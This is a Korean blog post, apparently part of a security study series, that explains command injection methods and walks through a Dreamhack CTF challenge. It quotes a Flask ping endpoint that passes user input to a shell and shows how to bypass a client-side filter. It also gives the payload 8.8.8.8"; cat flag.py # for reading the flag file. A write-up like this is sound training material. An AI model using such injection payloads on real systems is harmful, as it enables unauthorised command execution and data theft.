728x90
1.Command Injection
애플리케이션이 외부 명령어를 실행하기 위해 사용자 입력을 포함하는 경우, 공격자가 악의적인 명령어를 삽입하여 시스템 명령을 실행하도록 유도하는 공격 기법
1-1.쉘 명령어 체인 기법
체인 연산자(;, &&, ||)를 사용하여 추가적인 명령어를 실행
1-2.리다이렉션 및 파이프 기법
리다이렉션(>, >>)과 파이프(|)를 사용하여 명령어 출력을 조작하거나 연결된 명령을 실행
1-3.서브 명령어 실행 기법
명령어를 서브셸로 실행하기 위해 $() 또는 백틱(``)을 사용
2.command-injection-1 문제풀기
flag.py 에있는 flag 값을 얻어내는 문제다
ping 엔드포인트가 존재하며 POST로 받았을때 cmd 명령어를 다음과같이 폼에서 받은 host 변수를 그대로 사용한다.
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')
입력문자 제한이 걸려있지만 Front 단에서 검열해주고있으므로 개발자 도구를 통해 지워줄수있다.

8.8.8.8을 넘겨주고 "; 으로 체인을 구분지어서 새로운 명령어 cat flag.py(flag.py 내용을 출력)하도록한다.
8.8.8.8"; cat flag.py #
728x90
'Computer Science > Security' 카테고리의 다른 글
| [드림핵] File Vulnerability (0) | 2025.01.22 |
|---|---|
| [보안] Blind SQL Injection (0) | 2025.01.21 |
| [드림핵] NoSQL Injection (0) | 2025.01.21 |